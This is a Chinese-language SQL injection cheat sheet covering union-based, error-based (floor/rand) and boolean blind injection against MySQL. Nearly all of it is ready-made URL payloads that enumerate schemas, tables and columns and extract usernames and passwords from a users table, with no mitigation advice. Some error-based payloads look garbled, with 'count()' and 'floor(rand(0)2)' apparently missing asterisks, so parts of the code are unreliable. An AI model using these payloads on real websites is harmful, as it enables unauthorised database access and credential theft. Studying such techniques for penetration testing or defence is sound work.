SQL注入之常见注入手段

0x01 联合查询注入

使用情景:页面有显示位。
优点:语句简单,快速。
缺点:条件苛刻。
原理:通过显示位,直接爆出所查信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1.判断当前数据表中有几列:
?id=1' order by 数值 --+
2.查看显示位在第几列(这里假设共有3列):
?id=-1' union select 1,2,3 --+
3.显示当前数据库(假设显示位在第3 列):
?id=-1' union select 1,2,database() --+
4.查询当前数据库的所有表:
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
5.查询所有数据库 :
?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+
6.查询某个数据库中的表 (此例为 db1 数据库):
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='message') --+
7.查询某个表中的所有字段 (此例为 message数据库中的users 表):
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='message' and table_name='users') --+
8.查询某个表中的字段内容(此例为 message数据库中的users 表):
?id=-1' union select 1,2,(select group_concat(name,0x3a,0x3a,passwd) from message.users) --+

0x02 报错型注入

使用情景:服务器开着,有mysql_error()的报错信息,但是没有显示位。
优点:没显示位也可用,快速。
缺点:语句复杂。
原理:根据详细的报错信息。可以查看到数据库中的所有内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
floor 类型
固定格式:(星号位置替换为查询语句即可)
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(*******),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
1.爆数据库:
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select distinct table_schema from information_schema.columns limit 1,1
),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
小提示:由于报错信息每次只能显示1行,所以此处使用limit,通过修改limit后的第一个数值,可依次爆出所有内容。下同。
2.爆表名(此例为message数据库):
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select table_name from information_schema.tables where table_schema='message' limit 2,1
),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
3.爆字段(此例为message数据库的users表):
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select column_name from information_schema.columns where table_schema='message' and table_name='users' limit 2,1
),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
4.爆内容(此例为message数据库的users表):
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select concat(0x3a,0x3a, name,0x3a,0x3a,passwd,0x3a,0x3a) from message.users limit 0,1
),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+

0x03 布尔类型注入sql盲注

优点:通用性强,可以没有显示位,可以没有报错信息。
缺点:慢。
原理:根据返回页面是否正常,判断值的范围,通过二分法最终确定具体的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
使用到的函数:
exists() 查询至少返回一条数据
返回:true or false
ascii() 返回一个字符串最左边ascii码的值
substr() 三个参数,一:字符串,二:开始位置,三:长度 mysql中开始位置从1开始。
length() 计算长度函数

payload:
1.查询所有数据库
查询数据库个数:
?id=1' and ((select count(schema_name) from information_schema.schemata) < 77)--+
77为随意输入数字,可通过二分法确定最终值。下同。
查询某一个数据库的长度:
?id=1' and ((select length(schema_name) from information_schema.schemata limit 1,1) < 77)--+
3)查看某个数据库名:
?id=1' and ((select ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))) < 77)--+
通过改变limit与substr的值,依次查看每一个字符

2.查询某个数据库的所有表
1)查询表的个数 (此例为message数据库中的表):
?id=1' and ((select count(distinct+table_name) from information_schema.tables where table_schema='message' ) < 77)--+
2)查看某个表名的长度(此例为message数据库中的表):
?id=1' and ((select length(table_name) from information_schema.tables where table_schema='message' limit 1,1) < 77)--+
3)查看某个表名(此例为message数据库中的表):
?id=1' and ((select ascii(substr((select table_name from information_schema.tables where table_schema='message' limit 1,1),1,1))) < 77)--+
通过改变limit与substr的值,依次查看每一个字符

3.查询某个表中的所有字段
1)表中字段的个数(此例中为message数据库中的users表):
?id=1' and ((select count(distinct+column_name) from information_schema.columns where table_schema='message' and table_name='users' ) < 77)--+
2)查看某个字段名的长度(此例中为message数据库中的users表):
?id=1' and ((select length(column_name) from information_schema.columns where table_schema='message' and table_name='users' limit 1,1) < 77)--+
3)查看某个字段名(此例中为message数据库中的users表):
?id=1 ' and ((select ascii(substr((select column_name from information_schema.columns where table_schema='message' and table_name='users' limit 1,1),1,1))) < 77)--+
通过改变limit与substr的值,依次查看每一个字符

4.查看内容
1)查看表中的行数(此例中为message数据库中的users表):
?id=1' and ((select count(*) from message.users ) < 77)--+
2)查看某个字段对应内容的长度(此例中为message数据库中的users表):
?id=1' and ((select length(name) from message.users limit 1,1) < 77)--+
3)查看某个字段名对应内容(此例中为message数据库中的users表中的name字段):
?id=1' and ((select ascii(substr((select name from message.users limit 1,1),1,1))) < 77)--+
通过改变limit与substr的值,依次查看每一个字符